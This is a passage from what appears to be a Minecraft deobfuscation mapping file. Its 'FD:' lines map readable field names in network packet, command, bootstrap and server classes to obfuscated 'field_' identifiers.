net/minecraft/network/play/server/S12PacketEntityVelocity/motionX net/minecraft/network/play/server/S12PacketEntityVelocity/field_149415_b +FD: net/minecraft/network/play/server/S12PacketEntityVelocity/motionY net/minecraft/network/play/server/S12PacketEntityVelocity/field_149416_c +FD: net/minecraft/network/play/server/S12PacketEntityVelocity/motionZ net/minecraft/network/play/server/S12PacketEntityVelocity/field_149414_d +FD: net/minecraft/network/play/server/S04PacketEntityEquipment/entityID net/minecraft/network/play/server/S04PacketEntityEquipment/field_149394_a +FD: net/minecraft/network/play/server/S04PacketEntityEquipment/equipmentSlot net/minecraft/network/play/server/S04PacketEntityEquipment/field_149392_b +FD: net/minecraft/network/play/server/S04PacketEntityEquipment/itemStack net/minecraft/network/play/server/S04PacketEntityEquipment/field_149393_c +FD: net/minecraft/network/play/server/S1FPacketSetExperience/field_149401_a net/minecraft/network/play/server/S1FPacketSetExperience/field_149401_a +FD: net/minecraft/network/play/server/S1FPacketSetExperience/totalExperience net/minecraft/network/play/server/S1FPacketSetExperience/field_149399_b +FD: net/minecraft/network/play/server/S1FPacketSetExperience/level net/minecraft/network/play/server/S1FPacketSetExperience/field_149400_c +FD: net/minecraft/network/play/server/S06PacketUpdateHealth/health net/minecraft/network/play/server/S06PacketUpdateHealth/field_149336_a +FD: net/minecraft/network/play/server/S06PacketUpdateHealth/foodLevel net/minecraft/network/play/server/S06PacketUpdateHealth/field_149334_b +FD: net/minecraft/network/play/server/S06PacketUpdateHealth/saturationLevel net/minecraft/network/play/server/S06PacketUpdateHealth/field_149335_c +FD: net/minecraft/network/play/server/S3BPacketScoreboardObjective/objectiveName net/minecraft/network/play/server/S3BPacketScoreboardObjective/field_149343_a +FD: net/minecraft/network/play/server/S3BPacketScoreboardObjective/objectiveValue net/minecraft/network/play/server/S3BPacketScoreboardObjective/field_149341_b +FD: net/minecraft/network/play/server/S3BPacketScoreboardObjective/type net/minecraft/network/play/server/S3BPacketScoreboardObjective/field_179818_c +FD: net/minecraft/network/play/server/S3BPacketScoreboardObjective/field_149342_c net/minecraft/network/play/server/S3BPacketScoreboardObjective/field_149342_c +FD: net/minecraft/network/play/server/S3EPacketTeams/name net/minecraft/network/play/server/S3EPacketTeams/field_149320_a +FD: net/minecraft/network/play/server/S3EPacketTeams/displayName net/minecraft/network/play/server/S3EPacketTeams/field_149318_b +FD: net/minecraft/network/play/server/S3EPacketTeams/prefix net/minecraft/network/play/server/S3EPacketTeams/field_149319_c +FD: net/minecraft/network/play/server/S3EPacketTeams/suffix net/minecraft/network/play/server/S3EPacketTeams/field_149316_d +FD: net/minecraft/network/play/server/S3EPacketTeams/nameTagVisibility net/minecraft/network/play/server/S3EPacketTeams/field_179816_e +FD: net/minecraft/network/play/server/S3EPacketTeams/color net/minecraft/network/play/server/S3EPacketTeams/field_179815_f +FD: net/minecraft/network/play/server/S3EPacketTeams/players net/minecraft/network/play/server/S3EPacketTeams/field_149317_e +FD: net/minecraft/network/play/server/S3EPacketTeams/action net/minecraft/network/play/server/S3EPacketTeams/field_149314_f +FD: net/minecraft/network/play/server/S3EPacketTeams/friendlyFlags net/minecraft/network/play/server/S3EPacketTeams/field_149315_g +FD: net/minecraft/network/play/server/S3CPacketUpdateScore$Action/CHANGE net/minecraft/network/play/server/S3CPacketUpdateScore$Action/CHANGE +FD: net/minecraft/network/play/server/S3CPacketUpdateScore$Action/REMOVE net/minecraft/network/play/server/S3CPacketUpdateScore$Action/REMOVE +FD: net/minecraft/network/play/server/S3CPacketUpdateScore$Action/$VALUES net/minecraft/network/play/server/S3CPacketUpdateScore$Action/$VALUES +FD: net/minecraft/network/play/server/S3CPacketUpdateScore/name net/minecraft/network/play/server/S3CPacketUpdateScore/field_149329_a +FD: net/minecraft/network/play/server/S3CPacketUpdateScore/objective net/minecraft/network/play/server/S3CPacketUpdateScore/field_149327_b +FD: net/minecraft/network/play/server/S3CPacketUpdateScore/value net/minecraft/network/play/server/S3CPacketUpdateScore/field_149328_c +FD: net/minecraft/network/play/server/S3CPacketUpdateScore/action net/minecraft/network/play/server/S3CPacketUpdateScore/field_149326_d +FD: net/minecraft/network/play/server/S05PacketSpawnPosition/spawnBlockPos net/minecraft/network/play/server/S05PacketSpawnPosition/field_179801_a +FD: net/minecraft/network/play/server/S03PacketTimeUpdate/totalWorldTime net/minecraft/network/play/server/S03PacketTimeUpdate/field_149369_a +FD: net/minecraft/network/play/server/S03PacketTimeUpdate/worldTime net/minecraft/network/play/server/S03PacketTimeUpdate/field_149368_b +FD: net/minecraft/network/play/server/S45PacketTitle$Type/TITLE net/minecraft/network/play/server/S45PacketTitle$Type/TITLE +FD: net/minecraft/network/play/server/S45PacketTitle$Type/SUBTITLE net/minecraft/network/play/server/S45PacketTitle$Type/SUBTITLE +FD: net/minecraft/network/play/server/S45PacketTitle$Type/TIMES net/minecraft/network/play/server/S45PacketTitle$Type/TIMES +FD: net/minecraft/network/play/server/S45PacketTitle$Type/CLEAR net/minecraft/network/play/server/S45PacketTitle$Type/CLEAR +FD: net/minecraft/network/play/server/S45PacketTitle$Type/RESET net/minecraft/network/play/server/S45PacketTitle$Type/RESET +FD: net/minecraft/network/play/server/S45PacketTitle$Type/$VALUES net/minecraft/network/play/server/S45PacketTitle$Type/$VALUES +FD: net/minecraft/network/play/server/S45PacketTitle/type net/minecraft/network/play/server/S45PacketTitle/field_179812_a +FD: net/minecraft/network/play/server/S45PacketTitle/message net/minecraft/network/play/server/S45PacketTitle/field_179810_b +FD: net/minecraft/network/play/server/S45PacketTitle/fadeInTime net/minecraft/network/play/server/S45PacketTitle/field_179811_c +FD: net/minecraft/network/play/server/S45PacketTitle/displayTime net/minecraft/network/play/server/S45PacketTitle/field_179808_d +FD: net/minecraft/network/play/server/S45PacketTitle/fadeOutTime net/minecraft/network/play/server/S45PacketTitle/field_179809_e +FD: net/minecraft/network/play/server/S33PacketUpdateSign/world net/minecraft/network/play/server/S33PacketUpdateSign/field_179706_a +FD: net/minecraft/network/play/server/S33PacketUpdateSign/blockPos net/minecraft/network/play/server/S33PacketUpdateSign/field_179705_b +FD: net/minecraft/network/play/server/S33PacketUpdateSign/lines net/minecraft/network/play/server/S33PacketUpdateSign/field_149349_d +FD: net/minecraft/network/play/server/S47PacketPlayerListHeaderFooter/header net/minecraft/network/play/server/S47PacketPlayerListHeaderFooter/field_179703_a +FD: net/minecraft/network/play/server/S47PacketPlayerListHeaderFooter/footer net/minecraft/network/play/server/S47PacketPlayerListHeaderFooter/field_179702_b +FD: net/minecraft/network/play/server/S0DPacketCollectItem/collectedItemEntityId net/minecraft/network/play/server/S0DPacketCollectItem/field_149357_a +FD: net/minecraft/network/play/server/S0DPacketCollectItem/entityId net/minecraft/network/play/server/S0DPacketCollectItem/field_149356_b +FD: net/minecraft/network/play/server/S18PacketEntityTeleport/entityId net/minecraft/network/play/server/S18PacketEntityTeleport/field_149458_a +FD: net/minecraft/network/play/server/S18PacketEntityTeleport/posX net/minecraft/network/play/server/S18PacketEntityTeleport/field_149456_b +FD: net/minecraft/network/play/server/S18PacketEntityTeleport/posY net/minecraft/network/play/server/S18PacketEntityTeleport/field_149457_c +FD: net/minecraft/network/play/server/S18PacketEntityTeleport/posZ net/minecraft/network/play/server/S18PacketEntityTeleport/field_149454_d +FD: net/minecraft/network/play/server/S18PacketEntityTeleport/yaw net/minecraft/network/play/server/S18PacketEntityTeleport/field_149455_e +FD: net/minecraft/network/play/server/S18PacketEntityTeleport/pitch net/minecraft/network/play/server/S18PacketEntityTeleport/field_149453_f +FD: net/minecraft/network/play/server/S18PacketEntityTeleport/onGround net/minecraft/network/play/server/S18PacketEntityTeleport/field_179698_g +FD: net/minecraft/command/CommandBase$CoordinateArg/field_179633_a net/minecraft/command/CommandBase$CoordinateArg/field_179633_a +FD: net/minecraft/command/CommandBase$CoordinateArg/field_179631_b net/minecraft/command/CommandBase$CoordinateArg/field_179631_b +FD: net/minecraft/command/CommandBase$CoordinateArg/field_179632_c net/minecraft/command/CommandBase$CoordinateArg/field_179632_c +FD: net/minecraft/command/CommandBase/theAdmin net/minecraft/command/CommandBase/field_71533_a +FD: net/minecraft/network/play/server/S20PacketEntityProperties$Snapshot/field_151414_a net/minecraft/network/play/server/S20PacketEntityProperties$Snapshot/field_151414_a +FD: net/minecraft/network/play/server/S20PacketEntityProperties$Snapshot/field_151412_b net/minecraft/network/play/server/S20PacketEntityProperties$Snapshot/field_151412_b +FD: net/minecraft/network/play/server/S20PacketEntityProperties$Snapshot/field_151413_c net/minecraft/network/play/server/S20PacketEntityProperties$Snapshot/field_151413_c +FD: net/minecraft/network/play/server/S20PacketEntityProperties$Snapshot/field_151411_d net/minecraft/network/play/server/S20PacketEntityProperties$Snapshot/field_151411_d +FD: net/minecraft/network/play/server/S20PacketEntityProperties/entityId net/minecraft/network/play/server/S20PacketEntityProperties/field_149445_a +FD: net/minecraft/network/play/server/S20PacketEntityProperties/field_149444_b net/minecraft/network/play/server/S20PacketEntityProperties/field_149444_b +FD: net/minecraft/network/play/server/S1DPacketEntityEffect/entityId net/minecraft/network/play/server/S1DPacketEntityEffect/field_149434_a +FD: net/minecraft/network/play/server/S1DPacketEntityEffect/effectId net/minecraft/network/play/server/S1DPacketEntityEffect/field_149432_b +FD: net/minecraft/network/play/server/S1DPacketEntityEffect/amplifier net/minecraft/network/play/server/S1DPacketEntityEffect/field_149433_c +FD: net/minecraft/network/play/server/S1DPacketEntityEffect/duration net/minecraft/network/play/server/S1DPacketEntityEffect/field_149431_d +FD: net/minecraft/network/play/server/S1DPacketEntityEffect/hideParticles net/minecraft/network/play/server/S1DPacketEntityEffect/field_179708_e +FD: net/minecraft/network/play/client/C14PacketTabComplete/message net/minecraft/network/play/client/C14PacketTabComplete/field_149420_a +FD: net/minecraft/network/play/client/C14PacketTabComplete/targetBlock net/minecraft/network/play/client/C14PacketTabComplete/field_179710_b +FD: net/minecraft/network/play/client/C01PacketChatMessage/message net/minecraft/network/play/client/C01PacketChatMessage/field_149440_a +FD: net/minecraft/network/play/client/C16PacketClientStatus$EnumState/PERFORM_RESPAWN net/minecraft/network/play/client/C16PacketClientStatus$EnumState/PERFORM_RESPAWN +FD: net/minecraft/network/play/client/C16PacketClientStatus$EnumState/REQUEST_STATS net/minecraft/network/play/client/C16PacketClientStatus$EnumState/REQUEST_STATS +FD: net/minecraft/network/play/client/C16PacketClientStatus$EnumState/OPEN_INVENTORY_ACHIEVEMENT net/minecraft/network/play/client/C16PacketClientStatus$EnumState/OPEN_INVENTORY_ACHIEVEMENT +FD: net/minecraft/network/play/client/C16PacketClientStatus$EnumState/$VALUES net/minecraft/network/play/client/C16PacketClientStatus$EnumState/$VALUES +FD: net/minecraft/network/play/client/C16PacketClientStatus/status net/minecraft/network/play/client/C16PacketClientStatus/field_149437_a +FD: net/minecraft/network/play/client/C15PacketClientSettings/lang net/minecraft/network/play/client/C15PacketClientSettings/field_149530_a +FD: net/minecraft/network/play/client/C15PacketClientSettings/view net/minecraft/network/play/client/C15PacketClientSettings/field_149528_b +FD: net/minecraft/network/play/client/C15PacketClientSettings/chatVisibility net/minecraft/network/play/client/C15PacketClientSettings/field_149529_c +FD: net/minecraft/network/play/client/C15PacketClientSettings/enableColors net/minecraft/network/play/client/C15PacketClientSettings/field_149526_d +FD: net/minecraft/network/play/client/C15PacketClientSettings/modelPartFlags net/minecraft/network/play/client/C15PacketClientSettings/field_179711_e +FD: net/minecraft/network/play/client/C0FPacketConfirmTransaction/windowId net/minecraft/network/play/client/C0FPacketConfirmTransaction/field_149536_a +FD: net/minecraft/network/play/client/C0FPacketConfirmTransaction/uid net/minecraft/network/play/client/C0FPacketConfirmTransaction/field_149534_b +FD: net/minecraft/network/play/client/C0FPacketConfirmTransaction/accepted net/minecraft/network/play/client/C0FPacketConfirmTransaction/field_149535_c +FD: net/minecraft/network/play/client/C11PacketEnchantItem/windowId net/minecraft/network/play/client/C11PacketEnchantItem/field_149541_a +FD: net/minecraft/network/play/client/C11PacketEnchantItem/button net/minecraft/network/play/client/C11PacketEnchantItem/field_149540_b +FD: net/minecraft/network/play/client/C0EPacketClickWindow/windowId net/minecraft/network/play/client/C0EPacketClickWindow/field_149554_a +FD: net/minecraft/network/play/client/C0EPacketClickWindow/slotId net/minecraft/network/play/client/C0EPacketClickWindow/field_149552_b +FD: net/minecraft/network/play/client/C0EPacketClickWindow/usedButton net/minecraft/network/play/client/C0EPacketClickWindow/field_149553_c +FD: net/minecraft/network/play/client/C0EPacketClickWindow/actionNumber net/minecraft/network/play/client/C0EPacketClickWindow/field_149550_d +FD: net/minecraft/network/play/client/C0EPacketClickWindow/clickedItem net/minecraft/network/play/client/C0EPacketClickWindow/field_149551_e +FD: net/minecraft/network/play/client/C0EPacketClickWindow/mode net/minecraft/network/play/client/C0EPacketClickWindow/field_149549_f +FD: net/minecraft/network/play/client/C0DPacketCloseWindow/windowId net/minecraft/network/play/client/C0DPacketCloseWindow/field_149556_a +FD: net/minecraft/network/play/client/C17PacketCustomPayload/channel net/minecraft/network/play/client/C17PacketCustomPayload/field_149562_a +FD: net/minecraft/network/play/client/C17PacketCustomPayload/data net/minecraft/network/play/client/C17PacketCustomPayload/field_149561_c +FD: net/minecraft/network/play/client/C02PacketUseEntity$Action/INTERACT net/minecraft/network/play/client/C02PacketUseEntity$Action/INTERACT +FD: net/minecraft/network/play/client/C02PacketUseEntity$Action/ATTACK net/minecraft/network/play/client/C02PacketUseEntity$Action/ATTACK +FD: net/minecraft/network/play/client/C02PacketUseEntity$Action/INTERACT_AT net/minecraft/network/play/client/C02PacketUseEntity$Action/INTERACT_AT +FD: net/minecraft/network/play/client/C02PacketUseEntity$Action/$VALUES net/minecraft/network/play/client/C02PacketUseEntity$Action/$VALUES +FD: net/minecraft/network/play/client/C02PacketUseEntity/entityId net/minecraft/network/play/client/C02PacketUseEntity/field_149567_a +FD: net/minecraft/network/play/client/C02PacketUseEntity/action net/minecraft/network/play/client/C02PacketUseEntity/field_149566_b +FD: net/minecraft/network/play/client/C02PacketUseEntity/hitVec net/minecraft/network/play/client/C02PacketUseEntity/field_179713_c +FD: net/minecraft/network/play/client/C00PacketKeepAlive/key net/minecraft/network/play/client/C00PacketKeepAlive/field_149461_a +FD: net/minecraft/network/play/client/C03PacketPlayer/x net/minecraft/network/play/client/C03PacketPlayer/field_149479_a +FD: net/minecraft/network/play/client/C03PacketPlayer/y net/minecraft/network/play/client/C03PacketPlayer/field_149477_b +FD: net/minecraft/network/play/client/C03PacketPlayer/z net/minecraft/network/play/client/C03PacketPlayer/field_149478_c +FD: net/minecraft/network/play/client/C03PacketPlayer/yaw net/minecraft/network/play/client/C03PacketPlayer/field_149476_e +FD: net/minecraft/network/play/client/C03PacketPlayer/pitch net/minecraft/network/play/client/C03PacketPlayer/field_149473_f +FD: net/minecraft/network/play/client/C03PacketPlayer/onGround net/minecraft/network/play/client/C03PacketPlayer/field_149474_g +FD: net/minecraft/network/play/client/C03PacketPlayer/moving net/minecraft/network/play/client/C03PacketPlayer/field_149480_h +FD: net/minecraft/network/play/client/C03PacketPlayer/rotating net/minecraft/network/play/client/C03PacketPlayer/field_149481_i +FD: net/minecraft/network/play/client/C13PacketPlayerAbilities/invulnerable net/minecraft/network/play/client/C13PacketPlayerAbilities/field_149500_a +FD: net/minecraft/network/play/client/C13PacketPlayerAbilities/flying net/minecraft/network/play/client/C13PacketPlayerAbilities/field_149498_b +FD: net/minecraft/network/play/client/C13PacketPlayerAbilities/allowFlying net/minecraft/network/play/client/C13PacketPlayerAbilities/field_149499_c +FD: net/minecraft/network/play/client/C13PacketPlayerAbilities/creativeMode net/minecraft/network/play/client/C13PacketPlayerAbilities/field_149496_d +FD: net/minecraft/network/play/client/C13PacketPlayerAbilities/flySpeed net/minecraft/network/play/client/C13PacketPlayerAbilities/field_149497_e +FD: net/minecraft/network/play/client/C13PacketPlayerAbilities/walkSpeed net/minecraft/network/play/client/C13PacketPlayerAbilities/field_149495_f +FD: net/minecraft/network/play/client/C07PacketPlayerDigging$Action/START_DESTROY_BLOCK net/minecraft/network/play/client/C07PacketPlayerDigging$Action/START_DESTROY_BLOCK +FD: net/minecraft/network/play/client/C07PacketPlayerDigging$Action/ABORT_DESTROY_BLOCK net/minecraft/network/play/client/C07PacketPlayerDigging$Action/ABORT_DESTROY_BLOCK +FD: net/minecraft/network/play/client/C07PacketPlayerDigging$Action/STOP_DESTROY_BLOCK net/minecraft/network/play/client/C07PacketPlayerDigging$Action/STOP_DESTROY_BLOCK +FD: net/minecraft/network/play/client/C07PacketPlayerDigging$Action/DROP_ALL_ITEMS net/minecraft/network/play/client/C07PacketPlayerDigging$Action/DROP_ALL_ITEMS +FD: net/minecraft/network/play/client/C07PacketPlayerDigging$Action/DROP_ITEM net/minecraft/network/play/client/C07PacketPlayerDigging$Action/DROP_ITEM +FD: net/minecraft/network/play/client/C07PacketPlayerDigging$Action/RELEASE_USE_ITEM net/minecraft/network/play/client/C07PacketPlayerDigging$Action/RELEASE_USE_ITEM +FD: net/minecraft/network/play/client/C07PacketPlayerDigging$Action/$VALUES net/minecraft/network/play/client/C07PacketPlayerDigging$Action/$VALUES +FD: net/minecraft/network/play/client/C07PacketPlayerDigging/position net/minecraft/network/play/client/C07PacketPlayerDigging/field_179717_a +FD: net/minecraft/network/play/client/C07PacketPlayerDigging/facing net/minecraft/network/play/client/C07PacketPlayerDigging/field_179716_b +FD: net/minecraft/network/play/client/C07PacketPlayerDigging/status net/minecraft/network/play/client/C07PacketPlayerDigging/field_149508_e +FD: net/minecraft/network/play/client/C0BPacketEntityAction$Action/START_SNEAKING net/minecraft/network/play/client/C0BPacketEntityAction$Action/START_SNEAKING +FD: net/minecraft/network/play/client/C0BPacketEntityAction$Action/STOP_SNEAKING net/minecraft/network/play/client/C0BPacketEntityAction$Action/STOP_SNEAKING +FD: net/minecraft/network/play/client/C0BPacketEntityAction$Action/STOP_SLEEPING net/minecraft/network/play/client/C0BPacketEntityAction$Action/STOP_SLEEPING +FD: net/minecraft/network/play/client/C0BPacketEntityAction$Action/START_SPRINTING net/minecraft/network/play/client/C0BPacketEntityAction$Action/START_SPRINTING +FD: net/minecraft/network/play/client/C0BPacketEntityAction$Action/STOP_SPRINTING net/minecraft/network/play/client/C0BPacketEntityAction$Action/STOP_SPRINTING +FD: net/minecraft/network/play/client/C0BPacketEntityAction$Action/RIDING_JUMP net/minecraft/network/play/client/C0BPacketEntityAction$Action/RIDING_JUMP +FD: net/minecraft/network/play/client/C0BPacketEntityAction$Action/OPEN_INVENTORY net/minecraft/network/play/client/C0BPacketEntityAction$Action/OPEN_INVENTORY +FD: net/minecraft/network/play/client/C0BPacketEntityAction$Action/$VALUES net/minecraft/network/play/client/C0BPacketEntityAction$Action/$VALUES +FD: net/minecraft/network/play/client/C0BPacketEntityAction/entityID net/minecraft/network/play/client/C0BPacketEntityAction/field_149517_a +FD: net/minecraft/network/play/client/C0BPacketEntityAction/action net/minecraft/network/play/client/C0BPacketEntityAction/field_149515_b +FD: net/minecraft/network/play/client/C0BPacketEntityAction/auxData net/minecraft/network/play/client/C0BPacketEntityAction/field_149516_c +FD: net/minecraft/network/play/client/C0CPacketInput/strafeSpeed net/minecraft/network/play/client/C0CPacketInput/field_149624_a +FD: net/minecraft/network/play/client/C0CPacketInput/forwardSpeed net/minecraft/network/play/client/C0CPacketInput/field_149622_b +FD: net/minecraft/network/play/client/C0CPacketInput/jumping net/minecraft/network/play/client/C0CPacketInput/field_149623_c +FD: net/minecraft/network/play/client/C0CPacketInput/sneaking net/minecraft/network/play/client/C0CPacketInput/field_149621_d +FD: net/minecraft/network/play/client/C19PacketResourcePackStatus$Action/SUCCESSFULLY_LOADED net/minecraft/network/play/client/C19PacketResourcePackStatus$Action/SUCCESSFULLY_LOADED +FD: net/minecraft/network/play/client/C19PacketResourcePackStatus$Action/DECLINED net/minecraft/network/play/client/C19PacketResourcePackStatus$Action/DECLINED +FD: net/minecraft/network/play/client/C19PacketResourcePackStatus$Action/FAILED_DOWNLOAD net/minecraft/network/play/client/C19PacketResourcePackStatus$Action/FAILED_DOWNLOAD +FD: net/minecraft/network/play/client/C19PacketResourcePackStatus$Action/ACCEPTED net/minecraft/network/play/client/C19PacketResourcePackStatus$Action/ACCEPTED +FD: net/minecraft/network/play/client/C19PacketResourcePackStatus$Action/$VALUES net/minecraft/network/play/client/C19PacketResourcePackStatus$Action/$VALUES +FD: net/minecraft/network/play/client/C19PacketResourcePackStatus/hash net/minecraft/network/play/client/C19PacketResourcePackStatus/field_179720_a +FD: net/minecraft/network/play/client/C19PacketResourcePackStatus/status net/minecraft/network/play/client/C19PacketResourcePackStatus/field_179719_b +FD: net/minecraft/network/play/client/C09PacketHeldItemChange/slotId net/minecraft/network/play/client/C09PacketHeldItemChange/field_149615_a +FD: net/minecraft/network/play/client/C10PacketCreativeInventoryAction/slotId net/minecraft/network/play/client/C10PacketCreativeInventoryAction/field_149629_a +FD: net/minecraft/network/play/client/C10PacketCreativeInventoryAction/stack net/minecraft/network/play/client/C10PacketCreativeInventoryAction/field_149628_b +FD: net/minecraft/network/play/client/C12PacketUpdateSign/pos net/minecraft/network/play/client/C12PacketUpdateSign/field_179723_a +FD: net/minecraft/network/play/client/C12PacketUpdateSign/lines net/minecraft/network/play/client/C12PacketUpdateSign/field_149590_d +FD: net/minecraft/network/play/client/C18PacketSpectate/id net/minecraft/network/play/client/C18PacketSpectate/field_179729_a +FD: net/minecraft/command/CommandHandler/logger net/minecraft/command/CommandHandler/field_147175_a +FD: net/minecraft/command/CommandHandler/commandMap net/minecraft/command/CommandHandler/field_71562_a +FD: net/minecraft/command/CommandHandler/commandSet net/minecraft/command/CommandHandler/field_71561_b +FD: net/minecraft/network/play/client/C08PacketPlayerBlockPlacement/field_179726_a net/minecraft/network/play/client/C08PacketPlayerBlockPlacement/field_179726_a +FD: net/minecraft/network/play/client/C08PacketPlayerBlockPlacement/position net/minecraft/network/play/client/C08PacketPlayerBlockPlacement/field_179725_b +FD: net/minecraft/network/play/client/C08PacketPlayerBlockPlacement/placedBlockDirection net/minecraft/network/play/client/C08PacketPlayerBlockPlacement/field_149579_d +FD: net/minecraft/network/play/client/C08PacketPlayerBlockPlacement/stack net/minecraft/network/play/client/C08PacketPlayerBlockPlacement/field_149580_e +FD: net/minecraft/network/play/client/C08PacketPlayerBlockPlacement/facingX net/minecraft/network/play/client/C08PacketPlayerBlockPlacement/field_149577_f +FD: net/minecraft/network/play/client/C08PacketPlayerBlockPlacement/facingY net/minecraft/network/play/client/C08PacketPlayerBlockPlacement/field_149578_g +FD: net/minecraft/network/play/client/C08PacketPlayerBlockPlacement/facingZ net/minecraft/network/play/client/C08PacketPlayerBlockPlacement/field_149584_h +FD: net/minecraft/network/handshake/client/C00Handshake/protocolVersion net/minecraft/network/handshake/client/C00Handshake/field_149600_a +FD: net/minecraft/network/handshake/client/C00Handshake/ip net/minecraft/network/handshake/client/C00Handshake/field_149598_b +FD: net/minecraft/network/handshake/client/C00Handshake/port net/minecraft/network/handshake/client/C00Handshake/field_149599_c +FD: net/minecraft/network/handshake/client/C00Handshake/requestedState net/minecraft/network/handshake/client/C00Handshake/field_149597_d +FD: net/minecraft/network/login/server/S02PacketLoginSuccess/profile net/minecraft/network/login/server/S02PacketLoginSuccess/field_149602_a +FD: net/minecraft/network/login/server/S01PacketEncryptionRequest/hashedServerId net/minecraft/network/login/server/S01PacketEncryptionRequest/field_149612_a +FD: net/minecraft/network/login/server/S01PacketEncryptionRequest/publicKey net/minecraft/network/login/server/S01PacketEncryptionRequest/field_149610_b +FD: net/minecraft/network/login/server/S01PacketEncryptionRequest/verifyToken net/minecraft/network/login/server/S01PacketEncryptionRequest/field_149611_c +FD: net/minecraft/network/login/server/S03PacketEnableCompression/compressionTreshold net/minecraft/network/login/server/S03PacketEnableCompression/field_179733_a +FD: net/minecraft/network/login/server/S00PacketDisconnect/reason net/minecraft/network/login/server/S00PacketDisconnect/field_149605_a +FD: net/minecraft/network/login/client/C00PacketLoginStart/profile net/minecraft/network/login/client/C00PacketLoginStart/field_149305_a +FD: net/minecraft/network/login/client/C01PacketEncryptionResponse/secretKeyEncrypted net/minecraft/network/login/client/C01PacketEncryptionResponse/field_149302_a +FD: net/minecraft/network/login/client/C01PacketEncryptionResponse/verifyTokenEncrypted net/minecraft/network/login/client/C01PacketEncryptionResponse/field_149301_b +FD: net/minecraft/network/status/server/S01PacketPong/clientTime net/minecraft/network/status/server/S01PacketPong/field_149293_a +FD: net/minecraft/network/status/server/S00PacketServerInfo/GSON net/minecraft/network/status/server/S00PacketServerInfo/field_149297_a +FD: net/minecraft/network/status/server/S00PacketServerInfo/response net/minecraft/network/status/server/S00PacketServerInfo/field_149296_b +FD: net/minecraft/network/ServerStatusResponse$PlayerCountData/maxPlayers net/minecraft/network/ServerStatusResponse$PlayerCountData/field_151336_a +FD: net/minecraft/network/ServerStatusResponse$PlayerCountData/onlinePlayerCount net/minecraft/network/ServerStatusResponse$PlayerCountData/field_151334_b +FD: net/minecraft/network/ServerStatusResponse$PlayerCountData/players net/minecraft/network/ServerStatusResponse$PlayerCountData/field_151335_c +FD: net/minecraft/network/ServerStatusResponse$MinecraftProtocolVersionIdentifier/name net/minecraft/network/ServerStatusResponse$MinecraftProtocolVersionIdentifier/field_151306_a +FD: net/minecraft/network/ServerStatusResponse$MinecraftProtocolVersionIdentifier/protocol net/minecraft/network/ServerStatusResponse$MinecraftProtocolVersionIdentifier/field_151305_b +FD: net/minecraft/network/ServerStatusResponse/serverMotd net/minecraft/network/ServerStatusResponse/field_151326_a +FD: net/minecraft/network/ServerStatusResponse/playerCount net/minecraft/network/ServerStatusResponse/field_151324_b +FD: net/minecraft/network/ServerStatusResponse/protocolVersion net/minecraft/network/ServerStatusResponse/field_151325_c +FD: net/minecraft/network/ServerStatusResponse/favicon net/minecraft/network/ServerStatusResponse/field_151323_d +FD: net/minecraft/network/status/client/C01PacketPing/clientTime net/minecraft/network/status/client/C01PacketPing/field_149290_a +FD: net/minecraft/util/ResourceLocation/resourceDomain net/minecraft/util/ResourceLocation/field_110626_a +FD: net/minecraft/util/ResourceLocation/resourcePath net/minecraft/util/ResourceLocation/field_110625_b +FD: net/minecraft/init/Bootstrap$12$1/field_150836_b net/minecraft/init/Bootstrap$12$1/field_150836_b +FD: net/minecraft/init/Bootstrap$12$1/field_150837_c net/minecraft/init/Bootstrap$12$1/field_150837_c +FD: net/minecraft/init/Bootstrap$12/field_150843_b net/minecraft/init/Bootstrap$12/field_150843_b +FD: net/minecraft/init/Bootstrap$16/field_150842_b net/minecraft/init/Bootstrap$16/field_150842_b +FD: net/minecraft/init/Bootstrap$2/field_150841_b net/minecraft/init/Bootstrap$2/field_150841_b +FD: net/minecraft/init/Bootstrap$3/field_150840_b net/minecraft/init/Bootstrap$3/field_150840_b +FD: net/minecraft/init/Bootstrap$4/field_150839_b net/minecraft/init/Bootstrap$4/field_150839_b +FD: net/minecraft/init/Bootstrap$5/field_150838_b net/minecraft/init/Bootstrap$5/field_150838_b +FD: net/minecraft/init/Bootstrap$7/field_179240_b net/minecraft/init/Bootstrap$7/field_179240_b +FD: net/minecraft/init/Bootstrap$8/field_179241_b net/minecraft/init/Bootstrap$8/field_179241_b +FD: net/minecraft/init/Bootstrap/SYSOUT net/minecraft/init/Bootstrap/field_179872_a +FD: net/minecraft/init/Bootstrap/alreadyRegistered net/minecraft/init/Bootstrap/field_151355_a +FD: net/minecraft/init/Bootstrap/LOGGER net/minecraft/init/Bootstrap/field_179871_c +FD: net/minecraft/client/util/JsonException$Entry/field_151376_a net/minecraft/client/util/JsonException$Entry/field_151376_a +FD: net/minecraft/client/util/JsonException$Entry/field_151375_b net/minecraft/client/util/JsonException$Entry/field_151375_b +FD: net/minecraft/client/util/JsonException/field_151383_a net/minecraft/client/util/JsonException/field_151383_a +FD: net/minecraft/client/util/JsonException/exceptionMessage net/minecraft/client/util/JsonException/field_151382_b +FD: net/minecraft/command/ServerCommand/command net/minecraft/command/ServerCommand/field_73702_a +FD: net/minecraft/command/ServerCommand/sender net/minecraft/command/ServerCommand/field_73701_b +FD: net/minecraft/server/ServerEula/LOG net/minecraft/server/ServerEula/field_154349_a +FD: net/minecraft/server/ServerEula/eulaFile net/minecraft/server/ServerEula/field_154350_b +FD: net/minecraft/server/ServerEula/acceptedEULA net/minecraft/server/ServerEula/field_154351_c +FD: net/minecraft/util/LoggingPrintStream/LOGGER net/minecraft/util/LoggingPrintStream/field_179884_a +FD: net/minecraft/util/LoggingPrintStream/domain net/minecraft/util/LoggingPrintStream/field_179883_b +FD: net/minecraft/network/ThreadQuickExitException/INSTANCE net/minecraft/network/ThreadQuickExitException/field_179886_a +FD: net/minecraft/scoreboard/ServerScoreboard/scoreboardMCServer net/minecraft/scoreboard/ServerScoreboard/field_96555_a +FD: net/minecraft/scoreboard/ServerScoreboard/field_96553_b net/minecraft/scoreboard/ServerScoreboard/field_96553_b +FD: net/minecraft/scoreboard/ServerScoreboard/scoreboardSaveData net/minecraft/scoreboard/ServerScoreboard/field_96554_c +FD: net/minecraft/server/dedicated/PropertyManager/LOGGER net/minecraft/server/dedicated/PropertyManager/field_164440_a +FD: net/minecraft/server/dedicated/PropertyManager/serverProperties net/minecraft/server/dedicated/PropertyManager/field_73672_b +FD: net/minecraft/server/dedicated/PropertyManager/serverPropertiesFile net/minecraft/server/dedicated/PropertyManager/field_73673_c +FD: net/minecraft/server/dedicated/DedicatedPlayerList/LOGGER net/minecraft/server/dedicated/DedicatedPlayerList/field_164439_d +FD: net/minecraft/server/dedicated/DedicatedServer$1/field_72451_a net/minecraft/server/dedicated/DedicatedServer$1/field_72451_a +FD: 